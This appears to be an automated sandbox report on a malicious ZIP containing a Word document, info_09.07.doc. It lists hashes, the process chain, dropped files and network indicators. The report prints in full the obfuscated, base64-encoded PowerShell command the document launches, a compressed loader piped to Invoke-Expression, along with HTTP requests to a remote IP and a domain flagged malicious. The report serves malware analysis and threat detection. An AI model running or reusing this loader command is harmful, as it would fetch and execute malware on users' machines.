File name: | registerpec.zip |
Full analysis: | https://app.any.run/tasks/03589895-d65a-4d73-8d49-bc12a4e3d6c4 |
Verdict: | Malicious activity |
Analysis date: | July 18, 2019, 12:21:33 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 03CB2863EA27D998F4E70B5EF2D646A3 |
SHA1: | 8F32909B128651E238B822240C553054431AAD20 |
SHA256: | 4D85FB77BF4183C473DE8F186C158327E559B10E993522446FE5DCC054A98495 |
SSDEEP: | 768:Z8qnhlkMRyVT7IMxILhJpGZlQtNYav+Dix5G4Ni1VwtBwEdnJDV40Qkv5mCRPLBl:ZUMMx7IjFJilQteKMu1TB17DVpQkRmAj |
.zip | | | ZIP compressed archive (100) |
---|
ZipFileName: | info_09.07.doc |
---|---|
ZipUncompressedSize: | 75264 |
ZipCompressedSize: | 47863 |
ZipCRC: | 0x2c0bb26c |
ZipModifyDate: | 2019:07:09 07:18:08 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0009 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3708 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\registerpec.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
3460 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb3708.1820\info_09.07.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1872 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAVABaAEQAZABUAHMASgBBAEYASQBUAHYAVABYAHkASAB2AGEAagBaAE4AcABWAHQARQBBAFQAYgBwAGoARwBHAEUAdABOAEkAQwB1AEgASABtAHEAZwBKAHAAWgA3AFMAbABhAFcANwBkAGgAYwBLAE4AcgB5ADcATgBRAEgAMAA1AHAAeQBiAG0AYwBrADMAbwB3AFgANwBRAE0AUgBQAEUAKwBRAGgALwBNAHgARwBBAHoAYgBHAHIAagBZAFQAcABZAGcAaQBUADQATgA4ADYAMgB3AGsARgBLAEwAZwBLAFcAVgBnADQAagBkAHMAYQBrAGUARABpAFEAbgBzAG8AQgBiAHoAZABtAHIAUABQAGoAeQBpADQAeAB5AGIARwBNAG8ARwByADkALwBpAEUAeABLAEYARABSAFQAQwBmAEQAbwBuAEUAUwB6AG0AdgBRAEcARgBjAE8AcABxADIAOAAzAFkASAB6ADUAOAA5AHoAeQBjAEsAUwBVAGMAeQA5AG8ASgBLAHEAQwBJAHcAVwA3AHYAUwBwAEwAdwB0AFUAWABMAEwANgBzAFUAYwBrAFYARQBKAHUANgBaAHgAMABEAHcAdABFAFYAVwBFAGgATQBwAEcARgBVADYAdgBzAEsARwBtAC8ASQBDADQAaQBUAFQAdABXAEEAawAxAHUAMgBRAFIAbwBqAG0ANgBCAHgAdQBWAEsAcgBZAFYAMABjADAANAB2AE0AeQBaAEQAegAyADAANABEADEALwB3AHoAWAA2AE4AagBUAGMASQBNAFUANgBYAHAAZAA0AEIARgBVAEkANgBqAHAARgBkAFIAbgBYAGUATwBmAEYASQBUADEAdwAwAGUAVgBvAGMAWQBTAFUASwB0AHoAMAB6AEYAUQA5AGUAcgBUAGUASgBsAHoAcQBXAGcAaQB5AGEAagBnAEMAVQBqADUANwBqAGkAVABhAFQAeABXACsAagBsADUAVQBWAE8AdQAzAE0ATQBoAGkAVgBXAFMAVgBZAGUARABpADQATAArAGkALwA0AFAATABCADgATQBZADMAKwBpAGkAaQBCAGYANgBxAGQARgBtAG4AZQAzAHAATgBtAHkAUwBjAGMAbQB6AFcANwBYAGsAdgBSADMAQwBXAHcAWQA3AHUAWABGAEQAdwA9AD0AJwApACAALABbAHMAWQBzAFQAZQBtAC4AaQBvAC4AYwBPAE0AcABSAGUAUwBzAGkATwBOAC4AQwBvAG0AcAByAGUAcwBzAEkATwBOAE0ATwBEAEUAXQA6ADoARABFAEMAbwBtAHAAcgBlAFMAUwAgACkAfAAmACgAJwBmACcAKwAnAG8AcgBlACcAKwAnAGEAYwBIACcAKQB7ACAAJgAoACcATgBFAFcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAGkAYABvAC4AYABTAGAAVAByAGUAYQBtAFIARQBBAEQARQBSACgAJABfACwAWwBzAHkAUwBUAGUAbQAuAFQARQB4AFQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAYQBzAEMAaQBpACkAIAB9AHwALgAoACcARgBvAHIARQBhACcAKwAnAEMAJwArACcASAAnACkAewAkAF8ALgByAGUAYQBkAHQAbwBlAG4AZAAoACkAIAB9ACAAKQAgAHwALgAoACcASQAnACsAJwBFACcAIAArACAAJwBYACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3460 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR1FB9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1872 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\69HWTP0GAMRF33A9E436.temp | — | |
MD5:— | SHA256:— | |||
3460 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:06B256679B1C552F2C0229E28881FCAC | SHA256:AFA50FDC5622F3794E9DBEDE4A8557ADFF41B52F503F44B04A995633B371DDCC | |||
1872 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
3708 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb3708.1820\info_09.07.doc | document | |
MD5:8599B162D165DFD8344287A309420272 | SHA256:A068720F7106CD90411FD50C32F38D5994D60921F1451C3BA61E0294A886A447 | |||
3460 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Rar$DIb3708.1820\~$fo_09.07.doc | pgc | |
MD5:407765EEF781165B2E5F3C04E72452F0 | SHA256:D3D1B9E04E18064BE5F8AAEB0A027DF339CA78D7A96FBAF96C1BF4E74CD9DEEF | |||
1872 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe29ab.TMP | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
3460 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:013402FF5DDC64F815E8B0B47D119D33 | SHA256:A622B7A70F0C359641AB1F55D31C858CB0D14ECD9ABBBB57D4141A54ABE360FD |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1872 | powershell.exe | GET | — | 185.139.69.177:80 | http://185.139.69.177/si.php | RO | — | — | suspicious |
1872 | powershell.exe | GET | — | 185.139.69.177:80 | http://185.139.69.177/si.php | RO | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1872 | powershell.exe | 185.139.69.177:80 | — | Softkit SRL | RO | suspicious |
Domain | IP | Reputation |
---|---|---|
xpiperae94xw.com |
| malicious |